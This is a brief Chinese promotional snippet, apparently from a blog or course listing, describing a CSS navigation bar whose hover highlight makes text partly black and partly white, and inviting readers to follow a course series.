普通的导航大家都会做,像这种穿透字体的导航应该很少见吧。高亮不是通过单独设置一个active类来设置字体高亮颜色,鼠标滑过导航项,字体可以部分是黑色,不分是白色,这种效果的实现 感兴趣的可以关注下我的系列课程【we…...